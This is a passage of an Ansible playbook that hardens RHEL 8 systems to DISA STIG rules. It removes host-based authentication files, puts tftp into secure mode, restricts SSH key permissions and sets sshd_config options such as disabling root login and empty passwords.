    - DISA-STIG-RHEL-08-010460
    - high_severity
    - low_complexity
    - low_disruption
    - no_host_based_files
    - no_reboot_needed
    - restrict_strategy

  - name: Remove Host-Based Authentication Files - Ensure No shosts.equiv Files Are
      Present in the System
    ansible.builtin.file:
      path: '{{ item }}'
      state: absent
    loop: '{{ shosts_equiv_files }}'
    tags:
    - DISA-STIG-RHEL-08-010460
    - high_severity
    - low_complexity
    - low_disruption
    - no_host_based_files
    - no_reboot_needed
    - restrict_strategy

  - name: Remove User Host-Based Authentication Files - Define Excluded (Non-Local)
      File Systems and Paths
    ansible.builtin.set_fact:
      excluded_fstypes:
      - afs
      - autofs
      - ceph
      - cifs
      - smb3
      - smbfs
      - sshfs
      - ncpfs
      - ncp
      - nfs
      - nfs4
      - gfs
      - gfs2
      - glusterfs
      - gpfs
      - pvfs2
      - ocfs2
      - lustre
      - davfs
      - fuse.sshfs
      excluded_paths:
      - dev
      - proc
      - run
      - sys
      search_paths: []
    tags:
    - DISA-STIG-RHEL-08-010470
    - high_severity
    - low_complexity
    - low_disruption
    - no_reboot_needed
    - no_user_host_based_files
    - restrict_strategy

  - name: Remove User Host-Based Authentication Files - Find Relevant Root Directories
      Ignoring Pre-Defined Excluded Paths
    ansible.builtin.find:
      paths: /
      file_type: directory
      excludes: '{{ excluded_paths }}'
      hidden: true
      recurse: false
    register: result_relevant_root_dirs
    tags:
    - DISA-STIG-RHEL-08-010470
    - high_severity
    - low_complexity
    - low_disruption
    - no_reboot_needed
    - no_user_host_based_files
    - restrict_strategy

  - name: Remove User Host-Based Authentication Files - Include Relevant Root Directories
      in a List of Paths to be Searched
    ansible.builtin.set_fact:
      search_paths: '{{ search_paths | union([item.path]) }}'
    loop: '{{ result_relevant_root_dirs.files }}'
    tags:
    - DISA-STIG-RHEL-08-010470
    - high_severity
    - low_complexity
    - low_disruption
    - no_reboot_needed
    - no_user_host_based_files
    - restrict_strategy

  - name: Remove User Host-Based Authentication Files - Increment Search Paths List
      with Local Partitions Mount Points
    ansible.builtin.set_fact:
      search_paths: '{{ search_paths | union([item.mount]) }}'
    loop: '{{ ansible_mounts }}'
    when:
    - item.fstype not in excluded_fstypes
    - item.mount != '/'
    tags:
    - DISA-STIG-RHEL-08-010470
    - high_severity
    - low_complexity
    - low_disruption
    - no_reboot_needed
    - no_user_host_based_files
    - restrict_strategy

  - name: Remove User Host-Based Authentication Files - Increment Search Paths List
      with Local NFS File System Targets
    ansible.builtin.set_fact:
      search_paths: '{{ search_paths | union([item.device.split('':'')[1]]) }}'
    loop: '{{ ansible_mounts }}'
    when: item.device is search(&quot;localhost:&quot;)
    tags:
    - DISA-STIG-RHEL-08-010470
    - high_severity
    - low_complexity
    - low_disruption
    - no_reboot_needed
    - no_user_host_based_files
    - restrict_strategy

  - name: Remove User Host-Based Authentication Files - Define Rule Specific Facts
    ansible.builtin.set_fact:
      user_shosts_files:
      - /.shosts
    tags:
    - DISA-STIG-RHEL-08-010470
    - high_severity
    - low_complexity
    - low_disruption
    - no_reboot_needed
    - no_user_host_based_files
    - restrict_strategy

  - name: Remove User Host-Based Authentication Files - Find All .shosts Files in
      Local File Systems
    ansible.builtin.command:
      cmd: find {{ item }} -xdev -type f -name &quot;.shosts&quot;
    loop: '{{ search_paths }}'
    changed_when: false
    register: result_found_shosts_files
    tags:
    - DISA-STIG-RHEL-08-010470
    - high_severity
    - low_complexity
    - low_disruption
    - no_reboot_needed
    - no_user_host_based_files
    - restrict_strategy

  - name: Remove User Host-Based Authentication Files - Create List of .shosts Files
      Present in Local File Systems
    ansible.builtin.set_fact:
      user_shosts_files: '{{ user_shosts_files | union(item.stdout_lines) | list }}'
    loop: '{{ result_found_shosts_files.results }}'
    tags:
    - DISA-STIG-RHEL-08-010470
    - high_severity
    - low_complexity
    - low_disruption
    - no_reboot_needed
    - no_user_host_based_files
    - restrict_strategy

  - name: Remove User Host-Based Authentication Files - Ensure No .shosts Files Are
      Present in the System
    ansible.builtin.file:
      path: '{{ item }}'
      state: absent
    loop: '{{ user_shosts_files }}'
    tags:
    - DISA-STIG-RHEL-08-010470
    - high_severity
    - low_complexity
    - low_disruption
    - no_reboot_needed
    - no_user_host_based_files
    - restrict_strategy

  - name: Ensure tftp systemd Service Uses Secure Mode - Find valid drop-ins
    ansible.builtin.find:
      paths: /etc/systemd/system/tftp.service.d
      patterns: '*.conf'
      contains: ^\s*ExecStart\s*=\s*/\S+\s+-s\s+/\S+$
    register: valid_dropins
    failed_when: false
    when: '&quot;tftp-server&quot; in ansible_facts.packages'
    tags:
    - DISA-STIG-RHEL-08-040350
    - NIST-800-53-IA-5 (1) (c)
    - configure_strategy
    - low_disruption
    - medium_complexity
    - medium_severity
    - no_reboot_needed
    - tftp_uses_secure_mode_systemd

  - name: Ensure tftp systemd Service Uses Secure Mode - Find all drop-in files
    ansible.builtin.find:
      paths: /etc/systemd/system/tftp.service.d
      patterns: '*.conf'
      contains: ^\s*ExecStart\s*=.*$
      file_type: file
    register: all_dropins
    failed_when: false
    when: '&quot;tftp-server&quot; in ansible_facts.packages'
    tags:
    - DISA-STIG-RHEL-08-040350
    - NIST-800-53-IA-5 (1) (c)
    - configure_strategy
    - low_disruption
    - medium_complexity
    - medium_severity
    - no_reboot_needed
    - tftp_uses_secure_mode_systemd

  - name: Ensure tftp systemd Service Uses Secure Mode - Get invalid drop-ins
    ansible.builtin.set_fact:
      invalid_dropins: '{{ all_dropins.files | rejectattr(''path'', ''in'', valid_dropins.files
        | map(attribute=''path'') | list) | map(attribute=''path'') | list }}'
    when: '&quot;tftp-server&quot; in ansible_facts.packages'
    tags:
    - DISA-STIG-RHEL-08-040350
    - NIST-800-53-IA-5 (1) (c)
    - configure_strategy
    - low_disruption
    - medium_complexity
    - medium_severity
    - no_reboot_needed
    - tftp_uses_secure_mode_systemd

  - name: Ensure tftp systemd Service Uses Secure Mode - Comment all ExecStart in
      invalid drop-ins
    ansible.builtin.lineinfile:
      path: '{{ item }}'
      regexp: ^\s*ExecStart\s*=.*
      state: absent
    loop: '{{ invalid_dropins }}'
    when:
    - '&quot;tftp-server&quot; in ansible_facts.packages'
    - invalid_dropins | length &gt; 0
    tags:
    - DISA-STIG-RHEL-08-040350
    - NIST-800-53-IA-5 (1) (c)
    - configure_strategy
    - low_disruption
    - medium_complexity
    - medium_severity
    - no_reboot_needed
    - tftp_uses_secure_mode_systemd

  - name: Ensure tftp systemd Service Uses Secure Mode - Check if a valid drop-in
      exists
    ansible.builtin.set_fact:
      tftp_config_valid: '{{ (valid_dropins.matched | default(0)) &gt; 0 }}'
    when: '&quot;tftp-server&quot; in ansible_facts.packages'
    tags:
    - DISA-STIG-RHEL-08-040350
    - NIST-800-53-IA-5 (1) (c)
    - configure_strategy
    - low_disruption
    - medium_complexity
    - medium_severity
    - no_reboot_needed
    - tftp_uses_secure_mode_systemd

  - name: Ensure tftp systemd Service Uses Secure Mode - Check if tftp.service contains
      valid ExecStart
    ansible.builtin.find:
      paths: /usr/lib/systemd/system
      patterns: tftp.service
      contains: ^\s*ExecStart\s*=\s*/\S+\s+-s\s+/\S+
    register: valid_tftp_service
    when:
    - '&quot;tftp-server&quot; in ansible_facts.packages'
    - not tftp_config_valid
    tags:
    - DISA-STIG-RHEL-08-040350
    - NIST-800-53-IA-5 (1) (c)
    - configure_strategy
    - low_disruption
    - medium_complexity
    - medium_severity
    - no_reboot_needed
    - tftp_uses_secure_mode_systemd

  - name: Ensure tftp systemd Service Uses Secure Mode - Check if a valid tftp.service
      exists
    ansible.builtin.set_fact:
      original_valid: '{{ (valid_tftp_service.matched | default(0)) &gt; 0 }}'
    when:
    - '&quot;tftp-server&quot; in ansible_facts.packages'
    - not tftp_config_valid
    tags:
    - DISA-STIG-RHEL-08-040350
    - NIST-800-53-IA-5 (1) (c)
    - configure_strategy
    - low_disruption
    - medium_complexity
    - medium_severity
    - no_reboot_needed
    - tftp_uses_secure_mode_systemd

  - name: Ensure tftp systemd Service Uses Secure Mode - Recalculate global config
      validity
    ansible.builtin.set_fact:
      tftp_config_valid: '{{ tftp_config_valid or original_valid | default(false)
        }}'
    when: '&quot;tftp-server&quot; in ansible_facts.packages'
    tags:
    - DISA-STIG-RHEL-08-040350
    - NIST-800-53-IA-5 (1) (c)
    - configure_strategy
    - low_disruption
    - medium_complexity
    - medium_severity
    - no_reboot_needed
    - tftp_uses_secure_mode_systemd

  - name: Ensure tftp systemd Service Uses Secure Mode - Remediate only if necessary
    block:

    - name: Ensure drop-in directory exists
      ansible.builtin.file:
        path: /etc/systemd/system/tftp.service.d
        state: directory

    - name: Deploy 10-ssg-hardening.conf drop-in
      ansible.builtin.copy:
        dest: /etc/systemd/system/tftp.service.d/10-ssg-hardening.conf
        content: |-
          [Service]
          # clear any existing ExecStart in the original unit
          ExecStart=
          ExecStart=/usr/sbin/in.tftpd -s {{ var_tftpd_secure_directory }}

    - name: Reload systemd and restart tftp service
      ansible.builtin.systemd:
        daemon_reload: true
        name: tftp
        state: restarted
        enabled: true
    when:
    - '&quot;tftp-server&quot; in ansible_facts.packages'
    - not tftp_config_valid
    tags:
    - DISA-STIG-RHEL-08-040350
    - NIST-800-53-IA-5 (1) (c)
    - configure_strategy
    - low_disruption
    - medium_complexity
    - medium_severity
    - no_reboot_needed
    - tftp_uses_secure_mode_systemd

  - name: Find root:root-owned keys
    ansible.builtin.command: find -H /etc/ssh/ -maxdepth 1 -user root -regex &quot;.*_key$&quot;
      -type f -group root -perm /u+xs,g+xwrs,o+xwrt
    register: root_owned_keys
    changed_when: false
    failed_when: false
    check_mode: false
    when: '&quot;kernel&quot; in ansible_facts.packages'
    tags:
    - DISA-STIG-RHEL-08-010490
    - NIST-800-171-3.1.13
    - NIST-800-171-3.13.10
    - NIST-800-53-AC-17(a)
    - NIST-800-53-AC-6(1)
    - NIST-800-53-CM-6(a)
    - PCI-DSS-Req-2.2.4
    - PCI-DSSv4-2.2
    - PCI-DSSv4-2.2.6
    - configure_strategy
    - file_permissions_sshd_private_key
    - low_complexity
    - low_disruption
    - medium_severity
    - no_reboot_needed

  - name: Set permissions for root:root-owned keys
    ansible.builtin.file:
      path: '{{ item }}'
      mode: u-xs,g-xwrs,o-xwrt
      state: file
    with_items:
    - '{{ root_owned_keys.stdout_lines }}'
    when: '&quot;kernel&quot; in ansible_facts.packages'
    tags:
    - DISA-STIG-RHEL-08-010490
    - NIST-800-171-3.1.13
    - NIST-800-171-3.13.10
    - NIST-800-53-AC-17(a)
    - NIST-800-53-AC-6(1)
    - NIST-800-53-CM-6(a)
    - PCI-DSS-Req-2.2.4
    - PCI-DSSv4-2.2
    - PCI-DSSv4-2.2.6
    - configure_strategy
    - file_permissions_sshd_private_key
    - low_complexity
    - low_disruption
    - medium_severity
    - no_reboot_needed

  - name: Find root:ssh_keys-owned keys
    ansible.builtin.command: find -H /etc/ssh/ -maxdepth 1 -user root -regex &quot;.*_key$&quot;
      -type f -group ssh_keys -perm /u+xs,g+xws,o+xwrt
    register: dedicated_group_owned_keys
    changed_when: false
    failed_when: false
    check_mode: false
    when: '&quot;kernel&quot; in ansible_facts.packages'
    tags:
    - DISA-STIG-RHEL-08-010490
    - NIST-800-171-3.1.13
    - NIST-800-171-3.13.10
    - NIST-800-53-AC-17(a)
    - NIST-800-53-AC-6(1)
    - NIST-800-53-CM-6(a)
    - PCI-DSS-Req-2.2.4
    - PCI-DSSv4-2.2
    - PCI-DSSv4-2.2.6
    - configure_strategy
    - file_permissions_sshd_private_key
    - low_complexity
    - low_disruption
    - medium_severity
    - no_reboot_needed

  - name: Set permissions for root:ssh_keys-owned keys
    ansible.builtin.file:
      path: '{{ item }}'
      mode: u-xs,g-xws,o-xwrt
      state: file
    with_items:
    - '{{ dedicated_group_owned_keys.stdout_lines }}'
    when: '&quot;kernel&quot; in ansible_facts.packages'
    tags:
    - DISA-STIG-RHEL-08-010490
    - NIST-800-171-3.1.13
    - NIST-800-171-3.13.10
    - NIST-800-53-AC-17(a)
    - NIST-800-53-AC-6(1)
    - NIST-800-53-CM-6(a)
    - PCI-DSS-Req-2.2.4
    - PCI-DSSv4-2.2
    - PCI-DSSv4-2.2.6
    - configure_strategy
    - file_permissions_sshd_private_key
    - low_complexity
    - low_disruption
    - medium_severity
    - no_reboot_needed

  - name: Find /etc/ssh/ file(s)
    ansible.builtin.command: find -P /etc/ssh/ -maxdepth 1 -perm /u+xs,g+xws,o+xwt  -type
      f -regextype posix-extended -regex &quot;^.*\.pub$&quot;
    register: files_found
    changed_when: false
    failed_when: false
    check_mode: false
    when: '&quot;kernel&quot; in ansible_facts.packages'
    tags:
    - DISA-STIG-RHEL-08-010480
    - NIST-800-171-3.1.13
    - NIST-800-171-3.13.10
    - NIST-800-53-AC-17(a)
    - NIST-800-53-AC-6(1)
    - NIST-800-53-CM-6(a)
    - PCI-DSS-Req-2.2.4
    - PCI-DSSv4-2.2
    - PCI-DSSv4-2.2.6
    - configure_strategy
    - file_permissions_sshd_pub_key
    - low_complexity
    - low_disruption
    - medium_severity
    - no_reboot_needed

  - name: Set permissions for /etc/ssh/ file(s)
    ansible.builtin.file:
      path: '{{ item }}'
      mode: u-xs,g-xws,o-xwt
      state: file
    with_items:
    - '{{ files_found.stdout_lines }}'
    when: '&quot;kernel&quot; in ansible_facts.packages'
    tags:
    - DISA-STIG-RHEL-08-010480
    - NIST-800-171-3.1.13
    - NIST-800-171-3.13.10
    - NIST-800-53-AC-17(a)
    - NIST-800-53-AC-6(1)
    - NIST-800-53-CM-6(a)
    - PCI-DSS-Req-2.2.4
    - PCI-DSSv4-2.2
    - PCI-DSSv4-2.2.6
    - configure_strategy
    - file_permissions_sshd_pub_key
    - low_complexity
    - low_disruption
    - medium_severity
    - no_reboot_needed

  - name: Set SSH Client Alive Count Max
    block:

    - name: Check for duplicate values
      ansible.builtin.lineinfile:
        path: /etc/ssh/sshd_config
        create: true
        regexp: (?i)(?i)^\s*ClientAliveCountMax\s+
        state: absent
      check_mode: true
      changed_when: false
      register: dupes

    - name: Deduplicate values from /etc/ssh/sshd_config
      ansible.builtin.lineinfile:
        path: /etc/ssh/sshd_config
        create: true
        regexp: (?i)(?i)^\s*ClientAliveCountMax\s+
        state: absent
      when: dupes.found is defined and dupes.found &gt; 1

    - name: Insert correct line to /etc/ssh/sshd_config
      ansible.builtin.lineinfile:
        path: /etc/ssh/sshd_config
        create: true
        regexp: (?i)(?i)^\s*ClientAliveCountMax\s+
        line: ClientAliveCountMax {{ var_sshd_set_keepalive }}
        state: present
        insertbefore: BOF
        validate: /usr/sbin/sshd -t -f %s
    when: '&quot;kernel&quot; in ansible_facts.packages'
    tags:
    - CJIS-5.5.6
    - DISA-STIG-RHEL-08-010200
    - NIST-800-171-3.1.11
    - NIST-800-53-AC-12
    - NIST-800-53-AC-17(a)
    - NIST-800-53-AC-2(5)
    - NIST-800-53-CM-6(a)
    - NIST-800-53-SC-10
    - PCI-DSS-Req-8.1.8
    - PCI-DSSv4-8.2
    - PCI-DSSv4-8.2.8
    - low_complexity
    - low_disruption
    - medium_severity
    - no_reboot_needed
    - restrict_strategy
    - sshd_set_keepalive

  - name: Set SSH Client Alive Interval
    block:

    - name: Check for duplicate values
      ansible.builtin.lineinfile:
        path: /etc/ssh/sshd_config
        create: true
        regexp: (?i)(?i)^\s*ClientAliveInterval\s+
        state: absent
      check_mode: true
      changed_when: false
      register: dupes

    - name: Deduplicate values from /etc/ssh/sshd_config
      ansible.builtin.lineinfile:
        path: /etc/ssh/sshd_config
        create: true
        regexp: (?i)(?i)^\s*ClientAliveInterval\s+
        state: absent
      when: dupes.found is defined and dupes.found &gt; 1

    - name: Insert correct line to /etc/ssh/sshd_config
      ansible.builtin.lineinfile:
        path: /etc/ssh/sshd_config
        create: true
        regexp: (?i)(?i)^\s*ClientAliveInterval\s+
        line: ClientAliveInterval {{ sshd_idle_timeout_value }}
        state: present
        insertbefore: BOF
        validate: /usr/sbin/sshd -t -f %s
    when: '&quot;kernel&quot; in ansible_facts.packages'
    tags:
    - CJIS-5.5.6
    - DISA-STIG-RHEL-08-010201
    - NIST-800-171-3.1.11
    - NIST-800-53-AC-12
    - NIST-800-53-AC-17(a)
    - NIST-800-53-AC-17(a)
    - NIST-800-53-AC-2(5)
    - NIST-800-53-CM-6(a)
    - NIST-800-53-CM-6(a)
    - NIST-800-53-SC-10
    - PCI-DSS-Req-8.1.8
    - PCI-DSSv4-8.2
    - PCI-DSSv4-8.2.8
    - low_complexity
    - low_disruption
    - medium_severity
    - no_reboot_needed
    - restrict_strategy
    - sshd_set_idle_timeout

  - name: Disable SSH Access via Empty Passwords
    block:

    - name: Check for duplicate values
      ansible.builtin.lineinfile:
        path: /etc/ssh/sshd_config
        create: true
        regexp: (?i)(?i)^\s*PermitEmptyPasswords\s+
        state: absent
      check_mode: true
      changed_when: false
      register: dupes

    - name: Deduplicate values from /etc/ssh/sshd_config
      ansible.builtin.lineinfile:
        path: /etc/ssh/sshd_config
        create: true
        regexp: (?i)(?i)^\s*PermitEmptyPasswords\s+
        state: absent
      when: dupes.found is defined and dupes.found &gt; 1

    - name: Insert correct line to /etc/ssh/sshd_config
      ansible.builtin.lineinfile:
        path: /etc/ssh/sshd_config
        create: true
        regexp: (?i)(?i)^\s*PermitEmptyPasswords\s+
        line: PermitEmptyPasswords no
        state: present
        insertbefore: BOF
        validate: /usr/sbin/sshd -t -f %s
    when: '&quot;kernel&quot; in ansible_facts.packages'
    tags:
    - CJIS-5.5.6
    - DISA-STIG-RHEL-08-020330
    - NIST-800-171-3.1.1
    - NIST-800-171-3.1.5
    - NIST-800-53-AC-17(a)
    - NIST-800-53-CM-6(a)
    - NIST-800-53-CM-7(a)
    - NIST-800-53-CM-7(b)
    - PCI-DSS-Req-2.2.4
    - PCI-DSSv4-2.2
    - PCI-DSSv4-2.2.6
    - high_severity
    - low_complexity
    - low_disruption
    - no_reboot_needed
    - restrict_strategy
    - sshd_disable_empty_passwords

  - name: Disable GSSAPI Authentication
    block:

    - name: Check for duplicate values
      ansible.builtin.lineinfile:
        path: /etc/ssh/sshd_config
        create: true
        regexp: (?i)(?i)^\s*GSSAPIAuthentication\s+
        state: absent
      check_mode: true
      changed_when: false
      register: dupes

    - name: Deduplicate values from /etc/ssh/sshd_config
      ansible.builtin.lineinfile:
        path: /etc/ssh/sshd_config
        create: true
        regexp: (?i)(?i)^\s*GSSAPIAuthentication\s+
        state: absent
      when: dupes.found is defined and dupes.found &gt; 1

    - name: Insert correct line to /etc/ssh/sshd_config
      ansible.builtin.lineinfile:
        path: /etc/ssh/sshd_config
        create: true
        regexp: (?i)(?i)^\s*GSSAPIAuthentication\s+
        line: GSSAPIAuthentication no
        state: present
        insertbefore: BOF
        validate: /usr/sbin/sshd -t -f %s
    when: '&quot;kernel&quot; in ansible_facts.packages'
    tags:
    - DISA-STIG-RHEL-08-010522
    - NIST-800-171-3.1.12
    - NIST-800-53-AC-17(a)
    - NIST-800-53-CM-6(a)
    - NIST-800-53-CM-7(a)
    - NIST-800-53-CM-7(b)
    - low_complexity
    - low_disruption
    - medium_severity
    - no_reboot_needed
    - restrict_strategy
    - sshd_disable_gssapi_auth

  - name: Disable Kerberos Authentication
    block:

    - name: Check for duplicate values
      ansible.builtin.lineinfile:
        path: /etc/ssh/sshd_config
        create: true
        regexp: (?i)(?i)^\s*KerberosAuthentication\s+
        state: absent
      check_mode: true
      changed_when: false
      register: dupes

    - name: Deduplicate values from /etc/ssh/sshd_config
      ansible.builtin.lineinfile:
        path: /etc/ssh/sshd_config
        create: true
        regexp: (?i)(?i)^\s*KerberosAuthentication\s+
        state: absent
      when: dupes.found is defined and dupes.found &gt; 1

    - name: Insert correct line to /etc/ssh/sshd_config
      ansible.builtin.lineinfile:
        path: /etc/ssh/sshd_config
        create: true
        regexp: (?i)(?i)^\s*KerberosAuthentication\s+
        line: KerberosAuthentication no
        state: present
        insertbefore: BOF
        validate: /usr/sbin/sshd -t -f %s
    when: '&quot;kernel&quot; in ansible_facts.packages'
    tags:
    - DISA-STIG-RHEL-08-010521
    - NIST-800-171-3.1.12
    - NIST-800-53-AC-17(a)
    - NIST-800-53-CM-6(a)
    - NIST-800-53-CM-7(a)
    - NIST-800-53-CM-7(b)
    - low_complexity
    - low_disruption
    - medium_severity
    - no_reboot_needed
    - restrict_strategy
    - sshd_disable_kerb_auth

  - name: Disable SSH Root Login
    block:

    - name: Check for duplicate values
      ansible.builtin.lineinfile:
        path: /etc/ssh/sshd_config
        create: true
        regexp: (?i)(?i)^\s*PermitRootLogin\s+
        state: absent
      check_mode: true
      changed_when: false
      register: dupes

    - name: Deduplicate values from /etc/ssh/sshd_config
      ansible.builtin.lineinfile:
        path: /etc/ssh/sshd_config
        create: true
        regexp: (?i)(?i)^\s*PermitRootLogin\s+
        state: absent
      when: dupes.found is defined and dupes.found &gt; 1

    - name: Insert correct line to /etc/ssh/sshd_config
      ansible.builtin.lineinfile:
        path: /etc/ssh/sshd_config
        create: true
        regexp: (?i)(?i)^\s*PermitRootLogin\s+
        line: PermitRootLogin no
        state: present
        insertbefore: BOF
        validate: /usr/sbin/sshd -t -f %s
    when: '&quot;kernel&quot; in ansible_facts.packages'
    tags:
    - CJIS-5.5.6
    - DISA-STIG-RHEL-08-010550
    - NIST-800-171-3.1.1
    - NIST-800-171-3.1.5
    - NIST-800-53-AC-17(a)
    - NIST-800-53-AC-6(2)
    - NIST-800-53-CM-6(a)
    - NIST-800-53-CM-7(a)
    - NIST-800-53-CM-7(b)
    - NIST-800-53-IA-2
    - NIST-800-53-IA-2(5)
    - PCI-DSS-Req-2.2.4
    - PCI-DSSv4-2.2
    - PCI-DSSv4-2.2.6
    - low_complexity
    - low_disruption
    - medium_severity
    - no_reboot_needed
    - restrict_strategy
    - sshd_disable_root_login

  - name: Disable SSH Support for User Known Hosts
    block:

    - name: Check for duplicate values
      ansible.builtin.lineinfile:
        path: /etc/ssh/sshd_config
        create: true
        regexp: (?i)(?i)^\s*IgnoreUserKnownHosts\s+
        state: absent
      check_mode: true
      changed_when: false
      register: dupes

    - name: Deduplicate values from /etc/ssh/sshd_config
      ansible.builtin.lineinfile:
        path: /etc/ssh/sshd_config
        create: true
        regexp: (?i)(?i)^\s*IgnoreUserKnownHosts\s+
        state: absent
      when: dupes.found is defined and dupes.found &gt; 1

    - name: Insert correct line to /etc/ssh/sshd_config
      ansible.builtin.lineinfile:
        path: /etc/ssh/sshd_config
        create: true
        regexp: (?i)(?i)^\s*IgnoreUserKnownHosts\s+
        line: IgnoreUserKnownHosts yes
        state: present
        insertbefore: BOF
        validate: /usr/sbin/sshd -t -f %s
    when: '&quot;kernel&quot; in ansible_facts.packages'
    tags:
    - DISA-STIG-RHEL-08-010520
    - NIST-800-171-3.1.12
    - NIST-800-53-AC-17(a)
    - NIST-800-53-CM-6(a)
    - NIST-800-53-CM-7(a)
    - NIST-800-53-CM-7(b)
    - low_complexity
    - low_disruption
    - medium_severity
    - no_reboot_needed
    - restrict_strategy
    - sshd_disable_user_known_hosts

  - name: Disable X11 Forwarding
    block:

    - name: Check for duplicate values
      ansible.builtin.lineinfile:
        path: /etc/ssh/sshd_config
        create: true
        regexp: (?i)(?i)^\s*X11Forwarding\s+
        state: absent
      check_mode: true
      changed_when: false
      register: dupes

    - name: Deduplicate values from /etc/ssh/sshd_config
      ansible.builtin.lineinfile:
        path: /etc/ssh/sshd_config
        create: true
        regexp: (?i)(?i)^\s*X11Forwarding\s+
        state: absent
      when: dupes.found is defined and dupes.found &gt; 1

    - name: Insert correct line to /etc/ssh/sshd_config
      ansible.builtin.lineinfile:
        path: /etc/ssh/sshd_config
        create: true
        regexp: (?i)(?i)^\s*X11Forwarding\s+
        line: X11Forwarding no
        state: present
        insertbefore: BOF
        validate: /usr/sbin/sshd -t -f %s
    when: '&quot;kernel&quot; in ansible_facts.packages'
    tags:
    - DISA-STIG-RHEL-08-040340
    - NIST-800-53-CM-6(b)
    - PCI-DSSv4-2.2
    - PCI-DSSv4-2.2.6
    - low_complexity
    - low_disruption
    - medium_severity
    - no_reboot_needed
    - restrict_strategy
    - sshd_disable_x11_forwarding

  - name: Do Not Allow SSH Environment Options
    block:

    - name: Check for duplicate values
      ansible.builtin.lineinfile:
        path: /etc/ssh/sshd_config
        create: true
        regexp: (?i)(?i)^\s*PermitUserEnvironment\s+
        state: absent
      check_mode: true
      changed_when: false
      register: dupes

    - name: Deduplicate values from /etc/ssh/sshd_config
      ansible.builtin.lineinfile:
        path: /etc/ssh/sshd_config
        create: true
        regexp: (?i)(?i)^\s*PermitUserEnvironment\s+
        state: absent
      when: dupes.found is defined and dupes.found &gt; 1

    - name: Insert correct line to /etc/ssh/sshd_config
      ansible.builtin.lineinfile:
        path: /etc/ssh/sshd_config
        create: true
        regexp: (?i)(?i)^\s*PermitUserEnvironment\s+
        line: PermitUserEnvironment no
        state: present
        insertbefore: BOF
        validate: /usr/sbin/sshd -t -f %s
    when: '&quot;kernel&quot; in ansible_facts.packages'
    tags:
    - CJIS-5.5.6
    - DISA-STIG-RHEL-08-010830
    - NIST-800-171-3.1.12
    - NIST-800-53-AC-17(a)
    - NIST-800-53-CM-6(a)
    - NIST-800-53-CM-7(a)
    - NIST-800-53-CM-7(b)
    - PCI-DSS-Req-2.2.4
    - PCI-DSSv4-2.2
    - PCI-DSSv4-2.2.6
    - low_complexity
    - low_disruption
    - medium_severity
    - no_reboot_needed
    - restrict_strategy
    - sshd_do_not_permit_user_env

  - name: Enable Use of Strict Mode Checking
    block:

    - name: Check for duplicate values
      ansible.builtin.lineinfile:
        path: /etc/ssh/sshd_config
        create: true
        regexp: (?i)(?i)^\s*StrictModes\s+
        state: absent
      check_mode: true
      changed_when: false
      register: dupes

    - name: Deduplicate values from /etc/ssh/sshd_config
      ansible.builtin.lineinfile:
        path: /etc/ssh/sshd_config
        create: true
        regexp: (?i)(?i)^\s*StrictModes\s+
        state: absent
      when: dupes.found is defined and dupes.found &gt; 1

    - name: Insert correct line to /etc/ssh/sshd_config
      ansible.builtin.lineinfile:
        path: /etc/ssh/sshd_config
        create: true
        regexp: (?i)(?i)^\s*StrictModes\s+
        line: StrictModes yes
        state: present
        insertbefore: BOF
        validate: /usr/sbin/sshd -t -f %s
    when: '&quot;kernel&quot; in ansible_facts.packages'
    tags:
    - DISA-STIG-RHEL-08-010500
    - NIST-800-171-3.1.12
    - NIST-800-53-AC-17(a)
    - NIST-800-53-AC-6
    - NIST-800-53-CM-6(a)
    - low_complexity
    - low_disruption
    - medium_severity
    - no_reboot_needed
    - restrict_strategy
    - sshd_enable_strictmodes

  - name: Enable SSH Warning Banner
    block:

    - name: Check for duplicate values
      ansible.builtin.lineinfile:
        path: /etc/ssh/sshd_config
        create: true
        regexp: (?i)(?i)^\s*Banner\s+
        state: absent
      check_mode: true
      changed_when: false
      register: dupes

    - name: Deduplicate values from /etc/ssh/sshd_config
      ansible.builtin.lineinfile:
        path: /etc/ssh/sshd_config
        create: true
        regexp: (?i)(?i)^\s*Banner\s+
        state: absent
      when: dupes.found is defined and dupes.found &gt; 1

    - name: Insert correct line to /etc/ssh/sshd_config
      ansible.builtin.lineinfile:
        path: /etc/ssh/sshd_config
        create: true
        regexp: (?i)(?i)^\s*Banner\s+
        line: Banner /etc/issue
        state: present
        insertbefore: BOF
        validate: /usr/sbin/sshd -t -f %s
    when: '&quot;kernel&quot; in ansible_facts.packages'
    tags:
    - CJIS-5.5.6
    - DISA-STIG-RHEL-08-010040
    - NIST-800-171-3.1.9
    - NIST-800-53-AC-17(a)
    - NIST-800-53-AC-8(a)
    - NIST-800-53-AC-8(c)
    - NIST-800-53-CM-6(a)
    - PCI-DSS-Req-2.2.4
    - low_complexity
    - low_disruption
    - medium_severity
    - no_reboot_needed
    - restrict_strategy
    - sshd_enable_warning_banner

  - name: Enable SSH Print Last Log
    block:

    - name: Check for duplicate values
      ansible.builtin.lineinfile:
        path: /etc/ssh/sshd_config
        create: true
        regexp: (?i)(?i)^\s*PrintLastLog\s+
        state: absent
      check_mode: true
      changed_when: false
      register: dupes

    - name: Deduplicate values from /etc/ssh/sshd_config
      ansible.builtin.lineinfile:
        path: /etc/ssh/sshd_config
        create: true
        regexp: (?i)(?i)^\s*PrintLastLog\s+
        state: absent
      when: dupes.found is defined and dupes.found &gt; 1

    - name: Insert correct line to /etc/ssh/sshd_config
      ansible.builtin.lineinfile:
        path: /etc/ssh/sshd_config
        create: true
        regexp: (?i)(?i)^\s*PrintLastLog\s+
        line: PrintLastLog yes
        state: present
        insertbefore: BOF
        validate: /usr/sbin/sshd -t -f %s
    when: '&quot;kernel&quot; in ansible_facts.packages'
    tags:
    - DISA-STIG-RHEL-08-020350
    - NIST-800-53-AC-9
    - NIST-800-53-AC-9(1)
    - low_complexity
    - low_disruption
    - medium_severity
    - no_reboot_needed
    - restrict_strategy
    - sshd_print_last_log

  - name: Force frequent session key renegotiation
    block:

    - name: Check for duplicate values
      ansible.builtin.lineinfile:
        path: /etc/ssh/sshd_config
        create: true
        regexp: (?i)(?i)^\s*RekeyLimit\s+
        state: absent
      check_mode: true
      changed_when: false
      register: dupes

    - name: Deduplicate values from /etc/ssh/sshd_config
      ansible.builtin.lineinfile:
        path: /etc/ssh/sshd_config
        create: true
        regexp: (?i)(?i)^\s*RekeyLimit\s+
        state: absent
      when: dupes.found is defined and dupes.found &gt; 1

    - name: Insert correct line to /etc/ssh/sshd_config
      ansible.builtin.lineinfile:
        path: /etc/ssh/sshd_config
        create: true
        regexp: (?i)(?i)^\s*RekeyLimit\s+
        line: RekeyLimit {{ var_rekey_limit_size }} {{ var_rekey_limit_time }}
        state: present
        insertbefore: BOF
        validate: /usr/sbin/sshd -t -f %s
